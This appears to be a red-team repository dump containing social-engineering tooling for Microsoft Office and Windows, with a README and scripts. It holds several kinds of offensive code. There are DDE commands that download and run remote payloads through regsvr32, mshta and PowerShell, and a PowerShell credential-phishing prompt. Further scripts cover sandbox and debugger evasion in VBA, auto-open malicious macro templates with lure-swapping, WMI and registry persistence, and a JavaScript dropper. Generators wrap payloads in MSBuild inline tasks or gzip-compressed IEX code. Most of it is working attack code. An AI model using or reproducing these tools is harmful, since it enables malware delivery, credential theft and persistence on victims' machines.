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Mariusz B
2018-02-02 22:22:43 +01:00
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1
social-engineering/Invoke-Command-Cred-Example.ps1 Normal file
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Invoke-Command 192.168.56.102 -Cred (New-Object -Type System.Management.Automation.PSCredential -ArgumentList "ieuser", $(ConvertTo-SecureString "Passw0rd!" -AsPlainText -Force)) {ipconfig}

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## Macro-Less Code Execution in MS Office via DDE (Dynamic Data Exchange) techniques Cheat-Sheet
- Using `regsvr32` _*.sct_ files technique:
```
DDEAUTO C:\\Programs\\Microsoft\\Office\\MSword.exe\\..\\..\\..\\..\\Windows\\System32\\cmd.exe "/c Microsoft Office Application data || regsvr32 /s /n /u /i:http://192.168.56.101/empire2.sct scrobj.dll"
```
- Using `HTA` files technique:
```
DDEAUTO C:\\Programs\\Microsoft\\Office\\MSword.exe\\..\\..\\..\\..\\Windows\\System32\\cmd.exe "/c Microsoft Office Application data || mshta http://192.168.56.101/poc.hta"
```
- Method from Empire - unfortunately unable to hide 'powershell.exe -NoP -sta -NonI' sequence
```
DDEAUTO C:\\Microsoft\\Programs\\Office\\MSWord.exe\\..\\..\\..\\..\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://192.168.56.101/default.ps1');powershell -noP -sta -w 1 -enc $e "
```
- CactusTorch DDE can also generate files in **JS** and **VBS** formats.
They will utilize `cscript` as a file interpreter.
- Another option is to use scripts by _Dominic Spinosa_ found [here](https://github.com/0xdeadbeefJERKY/Office-DDE-Payloads)
- Another option is to stick with `Unicorn` by _Dave Kennedy_
## Sources
- https://medium.com/red-team/dde-payloads-16629f4a2fcd

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Private Declare PtrSafe Function isDbgPresent Lib "kernel32" Alias "IsDebuggerPresent" () As Boolean
Public Function IsFileNameNotAsHexes() As Boolean
Dim str As String
Dim hexes As Variant
Dim only_hexes As Boolean
only_hexes = True
hexes = Array("0", "1", "2", "3", "4", "5", "6", "7", _
"8", "9", "a", "b", "c", "d", "e", "f")
str = ActiveDocument.name
str = Mid(str, 1, InStrRev(str, ".") - 1)
For i = 1 To UBound(hexes, 1) - 1
Dim ch As String
ch = LCase(Mid(str, i, 1))
If Not (UBound(Filter(hexes, ch)) > -1) Then
' Character not in hexes array.
only_hexes = False
Exit For
End If
Next
only_hexes = (Not only_hexes)
IsFileNameNotAsHexes = only_hexes
End Function
Public Function IsProcessListReliable() As Boolean
Dim objWMIService, objProcess, colProcess
Dim strComputer, strList
Dim bannedProcesses As Variant
bannedProcesses = Array("fiddler", "vxstream", _
"tcpview", "vmware", "procexp", "vmtools", "autoit", _
"wireshark", "procmon", "idaq", "autoruns", "apatedns", _
"windbg")
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\\" _
& strComputer & "\root\cimv2")
Set colProcess = objWMIService.ExecQuery _
("Select * from Win32_Process")
For Each objProcess In colProcess
For Each proc In bannedProcesses
If InStr(LCase(objProcess.name), LCase(proc)) <> 0 Then
' Found banned process.
IsProcessListReliable = False
Exit Function
End If
Next
Next
If isDbgPresent() Then
IsProcessListReliable = False
Exit Function
End If
IsProcessListReliable = (colProcess.Count() > 50)
End Function
Public Function IsHardwareReliable() As Boolean
Dim objWMIService, objItem, colItems, strComputer
Dim totalSize, totalMemory, cpusNum As Integer
totalSize = 0
totalMemory = 0
cpusNum = 0
Const wbemFlagReturnImmediately = &H10
Const wbemFlagForwardOnly = &H20
strComputer = "."
' Checking total HDD size
Set objWMIService = GetObject _
("winmgmts:\\" & strComputer & "\root\cimv2")
Set colItems = objWMIService.ExecQuery _
("Select * from Win32_LogicalDisk")
For Each objItem In colItems
Dim num
num = Int(objItem.Size / 1073741824)
If num > 0 Then
totalSize = totalSize + num
End If
Next
If totalSize < 60 Then
' Total HDD size of the machine must be at least 60GB
IsHardwareReliable = False
Exit Function
End If
' Checking Memory
Set colComputer = objWMIService.ExecQuery _
("Select * from Win32_ComputerSystem")
For Each objComputer In colComputer
totalMemory = totalMemory + Int((objComputer.TotalPhysicalMemory) / 1048576) + 1
Next
If totalMemory < 1024 Then
' Total Memory is less than 1GB
IsHardwareReliable = False
Exit Function
End If
Set colItems2 = objWMIService.ExecQuery("SELECT * FROM Win32_Processor", "WQL", _
wbemFlagReturnImmediately + wbemFlagForwardOnly)
For Each objItem In colItems2
cpusNum = cpusNum + objItem.NumberOfLogicalProcessors
Next
If cpusNum < 2 Then
' Nowadays everyone has at least 2 logical cores.
IsHardwareReliable = False
Exit Function
End If
IsHardwareReliable = True
End Function
Public Function IsRunningInSandbox() As Boolean
Dim test As Boolean
If IsFileNameNotAsHexes() <> True Then
IsRunningInSandbox = True
Exit Function
ElseIf IsProcessListReliable() <> True Then
IsRunningInSandbox = True
Exit Function
ElseIf IsHardwareReliable() <> True Then
IsRunningInSandbox = True
Exit Function
End If
IsRunningInSandbox = False
End Function

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<#
try {
(Get-Credential -Credential $null).GetNetworkCredential() |
Select-Object @{name="User"; expression = {
If ($_.Domain -ne [string]::Empty) {
"{0}\{1}" -f ($_.Domain), ($_.UserName)
} Else {
$_.UserName
}
}
}, Password | Format-List
} catch {
}
#>
try { ((Get-Credential -Credential $null).GetNetworkCredential() | Select-Object @{name="User"; expression={If ($_.Domain -ne [string]::Empty) {"{0}\{1}" -f ($_.Domain), ($_.UserName)} Else { $_.UserName} }}, Password | Format-List) } catch { }

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## Red Teaming and Social-Engineering related scripts, tools and CheatSheets
- **`Macro-Less-Cheatsheet.md`** - Macro-Less Code Execution in MS Office via DDE (Dynamic Data Exchange) techniques Cheat-Sheet ([gist](https://gist.github.com/mgeeky/981213b4c73093706fc2446deaa5f0c5))
- **`generateMSBuildPowershellXML.py`** - Powershell via MSBuild inline-task XML payload generation script - To be used during Red-Team assignments to launch Powershell payloads without using `powershell.exe` ([gist](https://gist.github.com/mgeeky/df9f313cfe468e56c59268b958319bcb))
Example output **not minimized**:
```
C:\Users\IEUser\Desktop\files\video>python generateMSBuildPowershellXML.py Show-Msgbox.ps1
:: Powershell via MSBuild inline-task XML payload generation script
To be used during Red-Team assignments to launch Powershell payloads without using 'powershell.exe'
Mariusz B. / mgeeky, <mb@binary-offensive.com>
[?] File not recognized as PE/EXE.
------------------------------------------------------------------------------------
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- Based on Casey Smith work, Twitter: @subTee -->
<!-- Automatically generated using `generateMSBuildPowershellXML.py` utility -->
<!-- by Mariusz B. / mgeeky <mb@binary-offensive.com> -->
<Target Name="btLDoraXcZV">
<hwiJYmWvD />
</Target>
<UsingTask TaskName="hwiJYmWvD" TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v 4.0.dll" >
<Task>
<Reference Include="System.Management.Automation" />
<Code Type="Class" Language="cs">
<![CDATA[
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class hwiJYmWvD : Task {
public override bool Execute() {
byte[] payload = System.Convert.FromBase64String("JHMgPSBOZXctT2JqZ WN0IElPLk1lbW9yeVN0cmVhbSgsIFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygn SDRzSUFJOUxjbG9DLzN1L2UzOTBjR1Z4U1dxdVhsQnFXazVxY2tsbWZwNmVZM0Z4YW0 1U1RtV3NsWlZQZm1KS2VHWkpSa0JpVVVsbVlvNWZZbTZxaGhKVVIzaG1Ya3ArZWJHZV czNVJickdTcGtLTmduOXBpYTVmYVU2T05TOVhORFpGZXI2cHhjV0o2YWxPK1JWQXM0T Xo4c3MxMUQxTEZNcnppN0tMRmRVMXJRRk9mWFlmandBQUFBPT0nKSk7IElFWCAoTmV3 LU9iamVjdCBJTy5TdHJlYW1SZWFkZXIoTmV3LU9iamVjdCBJTy5Db21wcmVzc2lvbi5 HemlwU3RyZWFtKCRzLCBbSU8uQ29tcHJlc3Npb24uQ29tcHJlc3Npb25Nb 2RlXTo6RGVjb21wcmVzcykpKS5SZWFkVG9FbmQoKTs=");
string decoded = System.Text.Encoding.UTF8.GetString(payload);
Runspace runspace = RunspaceFactory.CreateRunspace();
runspace.Open();
Pipeline pipeline = runspace.CreatePipeline();
pipeline.Commands.AddScript(decoded);
pipeline.Invoke();
runspace.Close();
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
------------------------------------------------------------------------------------
```
**minimized**
```
C:\Users\IEUser\Desktop\files\video>python generateMSBuildPowershellXML.py Show-Msgbox.ps1 -m
:: Powershell via MSBuild inline-task XML payload generation script
To be used during Red-Team assignments to launch Powershell payloads without using 'powershell.exe'
Mariusz B. / mgeeky, <mb@binary-offensive.com>
[?] File not recognized as PE/EXE.
------------------------------------------------------------------------------------
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003"><Target Name="mYOYInAFWE"><DpaYaokgauWBJbe />
</Target><UsingTask TaskName="DpaYaokgauWBJbe" TaskFactory="CodeTaskFactory" AssemblyFile="C:\Windows\Microsoft.Ne
t\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll"><Task><Reference Include="System.Management.Automation" /><
Code Type="Class" Language="cs"><![CDATA[using System.Management.Automation;using System.Management.Automation.Run
spaces;using Microsoft.Build.Framework;using Microsoft.Build.Utilities;public class DpaYaokgauWBJbe:Task{public ov
erride bool Execute(){byte[] x=System.Convert.FromBase64String("JHMgPSBOZXctT2JqZWN0IElPLk1lbW9yeVN0cmVhbSgsIFtDb25
2ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnSDRzSUFMQkxjbG9DLzN1L2UzOTBjR1Z4U1dxdVhsQnFXazVxY2tsbW ZwNmVZM0Z4YW01U1RtV3NsWlZQZ
m1KS2VHWkpSa0JpVVVsbVlvNWZZbTZxaGhKVVIzaG1Ya3ArZWJHZVczNVJickdTcGtLTmduOXBpYTVmYVU2T05T OVhORFpGZXI2cHhjV0o2YWxPK1J
WQXM0TXo4c3MxMUQxTEZNcnppN0tMRmRVMXJRRk9mWFlmandBQUFBPT0nKSk7IElFWCAoTmV3LU9iamVjdCBJTy 5TdHJlYW1SZWFkZXIoTmV3LU9ia
mVjdCBJTy5Db21wcmVzc2lvbi5HemlwU3RyZWFtKCRzLCBbSU8uQ29tcHJlc3Npb24uQ29tcHJlc3Npb25Nb2Rl XTo6RGVjb21wcmVzcykpKS5SZWF
kVG9FbmQoKTs=");string d=System.Text.Encoding.UTF8.GetString(x);Runspace r=RunspaceFactory.CreateRunspace();r.Open
();Pipeline p=r.CreatePipeline();p.Commands.AddScript(d);p.Invoke();r.Close();return true;}}]]></Code></Task></Usi
ngTask></Project>
------------------------------------------------------------------------------------
```
- **`msbuild-powershell-msgbox.xml`** - Example of Powershell execution via MSBuild inline task XML file. On a simple Message-Box script.
([gist](https://gist.github.com/mgeeky/617c54a23f0c4e99e6f475e6af070810))
- **`compressedPowershell.py`** - Creates a Powershell snippet containing GZIP-Compressed payload that will get decompressed and executed (IEX)
. ([gist](https://gist.github.com/mgeeky/e30ceecc2082a11b99c7b24b42bd77fc))
Example:
```
$s = New-Object IO.MemoryStream(, [Convert]::FromBase64String('H4sIAMkfcloC/3u/e390cGVxSWquXlBqWk5qcklmfp6eY3Fxam5STmWslZVPfmJKeGZJRkBiUUlmYo5fYm6qhhJUR3hmXkp+ebGeW35RbrGSpkKNgn9pia5faU6ONS9XNDZFer6pxcWJ6alO+RVAs4Mz8ss11D1LFMrzi7KLFdU1rQFOfXYfjwAAAA=='));
IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s, [IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
```
- **`muti-stage-1.md`** - Multi-Stage Penetration-Testing / Red Teaming Malicious Word document creation process. ([gist](https://gist.github.com/mgeeky/6097ea56e0f541aa7d98161e2aa76dfb))
- **`macro-psh-stdin-author.vbs`** - VBS Social Engineering Macro with Powershell invocation taking arguments from Author property and feeding them to StdIn. ([gist](https://gist.github.com/mgeeky/50c4b7fa22d930a80247fea62755fbd3))
- **`Invoke-Command-Cred-Example.ps1`** - Example of using PSRemoting with credentials passed directly from command line. ([gist](https://gist.github.com/mgeeky/de4ecf952ddce774d241b85cfbf97faf))
- **`Phish-Creds.ps1`** - Powershell oneline Credentials Phisher - to be used in malicious Word Macros/VBA/HTA or other RCE commands on seized machine. ([gist](https://gist.github.com/mgeeky/a404d7f23c85954650d686bb3f02abaf))
One can additionally add, right after `Get-Credential` following parameters that could improve pretext's quality during social engineering attempt:
- `-Credential domain\username` - when we know our victim's domain and/or username - we can supply this info to the dialog
- `-Message "Some luring sentence"` - to include some luring message
- **`vba-windows-persistence.vbs`** - VBA Script implementing two windows persistence methods - via WMI EventFilter object and via simple Registry Run. ([gist](https://gist.github.com/mgeeky/07ffbd9dbb64c80afe05fb45a0f66f81))
- **`set-handler.rc`** - Quickly set metasploit's multi-handler + web_delivery (separated) handler for use with powershell. ([gist](https://gist.github.com/mgeeky/bf4d732aa6e602ca9b77d089fd3ea7c9))
- **`delete-warning-div-macro.vbs`** - VBA Macro function to be used as a Social Engineering trick removing "Enable Content" warning message as the topmost floating text box with given name. ([gist](https://gist.github.com/mgeeky/9cb6acdec31c8a70cc037c84c77a359c))
- **`vba-macro-mac-persistence.vbs`** - (WIP) Working on VBA-based MacPersistance functionality for MS Office for Mac Macros. ([gist](https://gist.github.com/mgeeky/dd184e7f50dfab5ac97b4855f23952bc))
- **`WMIPersistence.vbs`** - Visual Basic Script implementing WMI Persistence method (as implemented in SEADADDY malware and further documented by Matt Graeber) to make the Macro code schedule malware startup after roughly 3 minutes since system gets up. ([gist](https://gist.github.com/mgeeky/d00ba855d2af73fd8d7446df0f64c25a))
- **`MacroDetectSandbox.vbs`** - Visual Basic script responsible for detecting Sandbox environments, as presented in modern Trojan Droppers implemented in Macros. ([gist](https://gist.github.com/mgeeky/61e4dfe305ab719e9874ca442779a91d))
- **`Various-Macro-Based-RCEs.md`** - Various Visual Basic Macros-based Remote Code Execution techniques to get your meterpreter invoked on the infected machine. ([gist](https://gist.github.com/mgeeky/61e4dfe305ab719e9874ca442779a91d))
- **`SubstitutePageMacro.vbs`** - This is a template for the Malicious Macros that would like to substitute primary contents of the document (like luring/fake warnings to "Enable Content") and replace document's contents with what is inside of an AutoText named `RealDoc` (configured via variable `autoTextTemplateName` ). ([gist](https://gist.github.com/mgeeky/3c705560c5041ab20c62f41e917616e6))
- **`warnings\EN-Word.docx`** and **`warnings\EN-Excel.docx`** - Set of ready-to-use Microsoft Office Word shapes that can be pasted / inserted into malicious documents for enticing user into clicking "Enable Editing" and "Enable Content" buttons.
- **`backdoor-drop.js`** - Internet Explorer - JavaScript trojan/backdoor dropper template, to be used during Penetration Testing assessments. ([gist](https://gist.github.com/mgeeky/b0aed7c1e510560db50f96604b150dac))

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Public alreadyLaunched As Integer
Private Sub Malware()
'
' ============================================
'
' Enter here your malware code here.
' It will be started on auto open surely.
'
' ============================================
MsgBox ("Here comes the malware!")
' ============================================
End Sub
Private Sub Launch()
If alreadyLaunched = True Then
Exit Sub
End If
Malware
SubstitutePage
alreadyLaunched = True
End Sub
Private Sub SubstitutePage()
'
' This routine will take the entire Document's contents,
' delete them and insert in their place contents defined in
' INSERT -> Quick Parts -> AutoText -> named as in `autoTextTemplateName`
'
Dim doc As Word.Document
Dim firstPageRange As Range
Dim rng As Range
Dim autoTextTemplateName As String
' This is the name of the defined AutoText prepared in the document,
' to be inserted in place of previous contents.
autoTextTemplateName = "RealDoc"
Set firstPageRange = Word.ActiveDocument.Range
firstPageRange.Select
Selection.WholeStory
Selection.Delete Unit:=wdCharacter, Count:=1
Set doc = ActiveDocument
Set rng = doc.Sections(1).Range
doc.AttachedTemplate.AutoTextEntries(autoTextTemplateName).Insert rng, True
doc.Save
End Sub
Sub AutoOpen()
' Becomes launched as first on MS Word
Launch
End Sub
Sub Document_Open()
' Becomes launched as second, another try, on MS Word
Launch
End Sub
Sub Auto_Open()
' Becomes launched as first on MS Excel
Launch
End Sub
Sub Workbook_Open()
' Becomes launched as second, another try, on MS Excel
Launch
End Sub

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'
' SYNOPSIS:
' WMI Persistence method as originally presented by SEADADDY malware
' (https://github.com/pan-unit42/iocs/blob/master/seaduke/decompiled.py#L887)
' and further documented by Matt Graeber.
'
' The scheduled command will be launched after roughly 3 minutes since system
' gets up. Also, even if the command shall spawn a window - it will not be visible,
' since the command will get invoked by WmiPrvSE.exe that's running in Session 0.
'
' USAGE:
' WMIPersistence("command to be launched", "taskName")
'
' EXAMPLE:
' WMIPersistence("powershell -noP -sta -w 1 -enc WwBSAGUAZgBdAC4AQQ[...]EUAWAA=", "WindowsUpdater")
'
' AUTHOR:
' Mariusz B. / mgeeky, '17
'
Public Function WMIPersistence(ByVal exePath As String, ByVal taskName As String) As Boolean
Dim filterName, consumerName As String
Dim objLocator, objService1
Dim objInstances1, objInstances2, objInstances3
Dim newObj1, newObj2, newObj3
On Error GoTo Failed
filterName = taskName & "Event"
consumerName = taskName & "Consumer"
Set objLocator = CreateObject("WbemScripting.SWbemLocator")
Set objService1 = objLocator.ConnectServer(".", "root\subscription")
'
' Step 1: Set WMI Instance of type Event Filter
'
Set objInstances1 = objService1.Get("__EventFilter")
' The malware originally will kicks in after roughly 3 minutes since System gets up.
' One can modify this delay time by modifying the WHERE clausule of the below query.
query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 " _
& "WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' " _
& "AND TargetInstance.SystemUpTime >= 200 AND " _
& "TargetInstance.SystemUpTime < 320"
' New object of type __EventFilter
Set newObj1 = objInstances1.Spawninstance_
newObj1.name = filterName
newObj1.eventNamespace = "root\cimv2"
newObj1.QueryLanguage = "WQL"
newObj1.query = query
newObj1.Put_
'
' Step 2: Set WMI instance of type: CommandLineEventConsumer
'
Set objInstances2 = objService1.Get("CommandLineEventConsumer")
Set newObj2 = objInstances2.Spawninstance_
newObj2.name = consumerName
newObj2.CommandLineTemplate = exePath
newObj2.Put_
'
' Step 3: Set WMI instance of type: Filter To Consumer Binding
'
Set objInstances3 = objService1.Get("__FilterToConsumerBinding")
Set newObj3 = objInstances3.Spawninstance_
newObj3.Filter = "__EventFilter.Name=""" & filterName & """"
newObj3.Consumer = "CommandLineEventConsumer.Name=""" & consumerName & """"
newObj3.Put_
WMIPersistence = True
Exit Function
Failed:
WMIPersistence = False
End Function

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<script>
var SRC = "";
var CMDLINE = "";
var out = Math.random().toString(36).substring(7) + ".exe";
var axo = this.ActiveXObject;
var wshell = new axo("WScript.Shell");
var path = wshell.ExpandEnvironmentStrings("%TEMP%") + "/" + out;
var xhr = new axo("MSXML2.XMLHTTP");
xhr.onreadystatechange = function () {
if (xhr.readystate === 4) {
var adodb = new axo("ADODB.Stream");
adodb.open();
adodb.type = 1;
adodb.write(xhr.ResponseBody);
adodb.position = 0;
adodb.saveToFile(path, 2);
adodb.close();
};
};
try {
xhr.open("GET", SRC, false);
xhr.send();
wshell.Run(path + " " + CMDLINE, 0, false);
} catch (err) { };
</script>

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#!/usr/bin/python3
import io
import sys
import gzip
import base64
def main(argv):
if len(argv) < 2:
print('Usage: ./compressedPowershell.py <input>')
sys.exit(-1)
out = io.BytesIO()
encoded = ''
with open(argv[1], 'rb') as f:
inp = f.read()
with gzip.GzipFile(fileobj = out, mode = 'w') as fo:
fo.write(inp)
encoded = base64.b64encode(out.getvalue())
powershell = '''$s = New-Object IO.MemoryStream(, [Convert]::FromBase64String("{}"));
IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s, [IO.Compression.CompressionMode]::Decompress))).ReadToEnd();'''.format(encoded.decode())
print(powershell)
if __name__ == '__main__':
main(sys.argv)

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Private Sub DeleteWarningPicture(ByVal textBoxName As String, ByVal saveDocAfter As Boolean)
Dim shape As Word.shape
For Each shape In ActiveDocument.Shapes
If StrComp(shape.Name, textBoxName) = 0 Then
shape.Delete
Exit For
End If
Next
If saveDocAfter Then
ActiveDocument.Save
End If
End Sub

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#!/usr/bin/python3
#
# Red-Teaming script that will leverage MSBuild technique to convert Powershell input payload or
# .NET/CLR assembly EXE file into inline-task XML file that can be further launched by:
# %WINDIR%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
#
# Requirements:
# - pefile
#
# Mariusz B. / mgeeky, <mb@binary-offensive.com>
#
import re
import io
import sys
import gzip
import base64
import string
import struct
import random
import argparse
try:
import pefile
except ImportError:
print('Missing requirement: "pefile". Install it using: pip install pefile')
sys.exit(-1)
def getCompressedPayload(filePath):
out = io.BytesIO()
encoded = ''
with open(filePath, 'rb') as f:
inp = f.read()
with gzip.GzipFile(fileobj = out, mode = 'w') as fo:
fo.write(inp)
encoded = base64.b64encode(out.getvalue())
powershell = "$s = New-Object IO.MemoryStream(, [Convert]::FromBase64String('{}')); IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s, [IO.Compression.CompressionMode]::Decompress))).ReadToEnd();".format(
encoded.decode()
)
return powershell
def getInlineTask(payload, exeFile):
templateName = ''.join(random.choice(string.ascii_letters) for x in range(random.randint(5, 15)))
taskName = ''.join(random.choice(string.ascii_letters) for x in range(random.randint(5, 15)))
powershellLaunchCode = string.Template('''<Task>
<Reference Include="System.Management.Automation" />
<Code Type="Class" Language="cs">
<![CDATA[
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class $templateName : Task {
public override bool Execute() {
byte[] payload = System.Convert.FromBase64String("$payload2");
string decoded = System.Text.Encoding.UTF8.GetString(payload);
Runspace runspace = RunspaceFactory.CreateRunspace();
runspace.Open();
Pipeline pipeline = runspace.CreatePipeline();
pipeline.Commands.AddScript(decoded);
pipeline.Invoke();
runspace.Close();
return true;
}
}
]]>
</Code>''').safe_substitute(
templateName = templateName,
payload2 = base64.b64encode(payload)
)
exeLaunchCode = string.Template('''<ParameterGroup/>
<Task>
<Using Namespace="System" />
<Using Namespace="System.Reflection" />
<Code Type="Fragment" Language="cs">
<![CDATA[
string payload = "$payload2";
byte[] decoded = System.Convert.FromBase64String(payload);
Assembly asm = Assembly.Load(decoded);
MethodInfo method = asm.EntryPoint;
object instance = asm.CreateInstance(method.Name);
method.Invoke(instance, null);
]]>
</Code>''').safe_substitute(
payload2 = base64.b64encode(payload)
)
launchCode = exeLaunchCode if exeFile else powershellLaunchCode
template = string.Template('''<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- Based on Casey Smith work, Twitter: @subTee -->
<!-- Automatically generated using `generateMSBuildPowershellXML.py` utility -->
<!-- by Mariusz B. / mgeeky <mb@binary-offensive.com> -->
<Target Name="$taskName">
<$templateName />
</Target>
<UsingTask TaskName="$templateName" TaskFactory="CodeTaskFactory"
AssemblyFile="C:\\Windows\\Microsoft.Net\\Framework\\v4.0.30319\\Microsoft.Build.Tasks.v4.0.dll" >
$launchCode
</Task>
</UsingTask>
</Project>''').safe_substitute(
taskName = taskName,
templateName = templateName,
launchCode = launchCode
)
return template
def detectFileIsExe(filePath, forced = False):
first1000 = []
with open(filePath, 'rb') as f:
first1000 = f.read()[:1000]
if not (first1000[0] == 'M' and first1000[1] == 'Z'):
return False
elfanew = struct.unpack('<H', first1000[0x3c:0x3c + 2])[0]
if not (first1000[elfanew + 0] == 'P' and first1000[elfanew + 1] == 'E'):
return False
dosStub = "This program cannot be run in DOS mode."
printables = ''.join([x for x in first1000[0x40:] if x in string.printable])
#if not dosStub in printables:
# return False
try:
pe = pefile.PE(filePath)
cli = pe.OPTIONAL_HEADER.DATA_DIRECTORY[14]
if not (cli.VirtualAddress != 0 and cli.Size != 0):
sys.stderr.write('[!] Specified input file is not a .NET Assembly / CLR executable file!\n')
if forced:
sys.exit(-1)
raise Exception()
else:
sys.stderr.write('[+] Specified EXE file seems to be .NET Assembly / CLR compatible.\n')
return True
except:
pass
return False
def minimize(output):
output = re.sub(r'\s*\<\!\-\- .* \-\-\>\s*\n', '', output)
output = output.replace('\n', '')
output = re.sub(r'\s{2,}', ' ', output)
output = re.sub(r'\s+([^\w])\s+', r'\1', output)
output = re.sub(r'([^\w"])\s+', r'\1', output)
variables = {
'payload' : 'x',
'method' : 'm',
'asm' : 'a',
'instance' : 'o',
'pipeline' : 'p',
'runspace' : 'r',
'decoded' : 'd'
}
for k, v in variables.items():
output = output.replace(k, v)
return output
def opts(argv):
parser = argparse.ArgumentParser(prog = argv[0], usage='%(prog)s [options] <inputFile>')
parser.add_argument('inputFile', help = 'Input file to be encoded within XML. May be either Powershell script or PE/EXE file.')
parser.add_argument('-m', '--minimize', action='store_true', help = 'Minimize the output XML file.')
parser.add_argument('-b', '--encode', action='store_true', help = 'Base64 encode output XML file.')
parser.add_argument('-e', '--exe', action='store_true', help = 'Specified input file is an Mono/.Net assembly PE/EXE (optional, if not used - the script will try to sense that). WARNING: Launching EXE is possibly ONLY WITH MONO/.NET IL/Assembly EXE file, not an ordinary native PE/EXE!')
args = parser.parse_args()
return args
def main(argv):
sys.stderr.write('''
:: Powershell via MSBuild inline-task XML payload generation script
To be used during Red-Team assignments to launch Powershell payloads without using 'powershell.exe'
Mariusz B. / mgeeky, <mb@binary-offensive.com>
''')
if len(argv) < 2:
print('Usage: ./generateMSBuildPowershellXML.py <inputFile>')
sys.exit(-1)
args = opts(argv)
isItExeFile = args.exe or detectFileIsExe(args.inputFile, args.exe)
if isItExeFile:
sys.stderr.write('[?] File recognized as PE/EXE.\n\n')
with open(args.inputFile, 'rb') as f:
payload = f.read()
else:
sys.stderr.write('[?] File not recognized as PE/EXE.\n\n')
if args.inputFile.endswith('.exe'):
return False
payload = getCompressedPayload(args.inputFile)
output = getInlineTask(payload, isItExeFile)
if args.minimize:
output = minimize(output)
if args.encode:
print(base64.b64encode(output))
else:
print(output)
if __name__ == '__main__':
main(sys.argv)

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Private Sub Workbook_Open()
Dim author As String
author = ActiveWorkbook.BuiltinDocumentProperties("Author")
Dim ws As Object
Set ws = CreateObject("WScript.Shell")
With ws.Exec("powershell.exe -nop -WindowStyle hidden -Command -")
.StdIn.WriteLine author
.StdIn.WriteBlankLines 1
.Terminate
End With
End Sub

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<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- Original Author: Pierre-Alexandre Braeken, Twitter: @pabraeken -->
<!-- Based on Casey Smith work (https://gist.github.com/subTee/ca477b4d19c885bec05ce238cbad6371), Twitter: @subTee -->
<!-- To be launched like so: cmd> %WINDIR%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe task1.xml -->
<!-- Modified by Mariusz B. / mgeeky. -->
<Target Name="MyLittleInlineTaskName">
<MyLittleInlineTask />
</Target>
<UsingTask
TaskName="MyLittleInlineTask"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Reference Include="System.Management.Automation" />
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.IO;
using System.Diagnostics;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Collections.ObjectModel;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Text;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class MyLittleInlineTask : Task, ITask {
public override bool Execute() {
// Is your payload a raw EXE file?
bool rawExeFile = false;
if(!rawExeFile) {
/*
* Specifies whether Powershell payload is Base64 encoded.
*/
bool payloadBase64Encoded = false;
/*
* Here insert your plain multi-line Powershell snippet
*/
string payload = @"
$s = New-Object IO.MemoryStream(, [Convert]::FromBase64String('H4sIAMkfcloC/3u/e390cGVxSWquXlBqWk5qcklmfp6eY3Fxam5STmWslZVPfmJKeGZJRkBiUUlmYo5fYm6qhhJUR3hmXkp+ebGeW35RbrGSpkKNgn9pia5faU6ONS9XNDZFer6pxcWJ6alO+RVAs4Mz8ss11D1LFMrzi7KLFdU1rQFOfXYfjwAAAA=='));
IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s, [IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
";
Runspace runspace = RunspaceFactory.CreateRunspace();
runspace.Open();
RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace);
Pipeline pipeline = runspace.CreatePipeline();
if (!payloadBase64Encoded) {
pipeline.Commands.AddScript(payload);
}
else {
string payload2 = System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(payload));
pipeline.Commands.AddScript(payload2);
}
pipeline.Invoke();
runspace.Close();
}
else {
/*
* Here must be placed Base64 encoded raw EXE / PE file.
*/
string payload = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAA [...]";
byte[] decoded = System.Convert.FromBase64String(payload);
Assembly asm = Assembly.Load(decoded);
MethodInfo method = asm.EntryPoint;
object ob = asm.CreateInstance(method.Name);
method.Invoke(ob, null);
}
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>

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# Multi-Stage Penetration-Testing / Red Teaming Malicious Word document creation process
The below paper documents the process of creating a multi-stage IPS/AV transparent malicious document for purposes of Red Teaming / Penetration-Testing assignments.
The resulted document will be:
- using OLE event autorun method
- removing it's pretext shapes
- Obtaining commands to be executed from document's _Author_ property and passing them to `StdIn` of _Powershell.exe_ process
- Leveraging `certutil` technique to receive Base64 encoded malicious HTA document
- Having Base64 encoded Powershell command in that _Author_ property
- Having fully Obfuscated VBA macro
---
1. Create an empty Word document with extension `.doc`
---
2. Create an OLE object named `Microsoft InkPicture Control` (_Developer tab -> Insert -> More controls -> ... _)
---
3. Double click on that OLE object and add the following method:
```
Public Once As Integer
Public Sub Launch()
On Error Resume Next
'
' Here will be malicious code placed
'
End Sub
